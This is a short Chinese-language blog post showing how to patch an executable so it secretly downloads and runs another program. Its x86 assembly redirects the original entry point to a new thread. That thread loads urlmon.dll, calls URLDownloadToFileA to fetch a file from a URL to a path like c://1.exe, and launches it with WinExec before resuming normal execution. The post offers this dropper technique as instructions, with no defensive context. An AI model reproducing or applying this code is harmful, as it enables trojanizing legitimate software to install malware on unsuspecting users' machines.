通过修改程序的代码使程序能够下载并运行指定程序

相关代码如下:
  原入口:
  jmp  xxxxxxxx    代码段②开始的位置
  ①:
  pushad
  push xxxxxxxx    字符串urlmon.dll的位置
  call kernel32.LoadLibraryA
  push xxxxxxxx    字符串URLDownloadToFileA的位置
  push eax
  call kernel32.GetProcAddress
  push 0
  push 0
  push xxxxxxxx    存放位置,如:c://1.exe
  push xxxxxxxx    下载位置
  push 0
  call eax
  push 0
  push xxxxxxxx    存放位置
  call kernel32.WinExec
  popad
  retn


  ②:
  pushad
  push 0
  push 0
  push xxxxxxxx    代码①开始的位置
  call msvcrt._beginthread
  jmp xxxxxxxx     原入口的位置
 

你可能感兴趣的:(c)